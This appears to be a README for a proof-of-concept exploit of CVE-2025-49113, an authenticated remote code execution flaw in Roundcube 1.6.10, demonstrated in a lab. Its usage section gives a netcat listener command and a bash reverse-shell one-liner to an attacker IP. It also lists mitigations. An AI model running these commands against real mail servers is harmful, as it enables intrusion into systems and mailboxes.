CVE-2025-49113 – Roundcube 1.6.10 Authenticated Remote Code Execution

⚠️ Disclaimer
This repository is intended strictly for educational and research purposes.
All demonstrations were performed in a controlled lab environment.
Unauthorized testing or exploitation of systems without explicit permission is illegal and unethical. The author is not responsible for any misuse of this information.

📌 What Is Roundcube?

Roundcube is a widely used, browser-based IMAP email client written in PHP. It provides a user-friendly interface for webmail access and is commonly deployed by hosting providers, academic institutions, and internal enterprise mail servers.

🚨 About the Vulnerability

CVE-2025-49113 is a vulnerability affecting Roundcube version 1.6.10 that allows an authenticated user to achieve remote code execution (RCE) by submitting a crafted command through the webmail interface.

Successful exploitation requires valid user credentials. Once exploited, it grants system-level command execution based on the web server's context.

• CVE ID: CVE-2025-49113
• Affected Application: Roundcube 1.6.10
• Vulnerability Type: Authenticated Remote Code Execution
• Exploit Type: Reverse Shell via PHP Payload
• Exploit Availability: Public GitHub PoC

⚙️ Lab Setup

• Target URL: http://mail.outbound.htb
• Roundcube Version: 1.6.10
• Listener: Netcat on port 4444
• Exploit: CVE-2025-49113.php

🚀 Exploit Usage

1. Start Netcat Listener

nc -nlvp 4444

2. Run the Exploit

php CVE-2025-49113.php {url} {username} {password} "bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'"

🔧 Replace <YOUR-IP> with your attacker's IP.

📸 Demonstration

Exploit Script Output

Reverse Shell Captured

🔐 Mitigation

• Upgrade Roundcube to the latest stable and secure release.
• Remove or restrict user access to vulnerable components.
• Enforce strong access controls and IP whitelisting for webmail interfaces.
• Monitor authentication logs for anomalies.
• Apply least privilege principles on web server environments.

📝 Notes

• Exploit requires authentication.
• Only tested against Roundcube 1.6.10.
• The user context of the shell depends on the server configuration.
• Demonstration conducted in a virtual lab environment.

📚 References

• OffSec Blog Post
• Public Exploit

📝 Medium Blog

Check out the detailed walkthrough and theory on my Medium post:
👉 Read the blog on Medium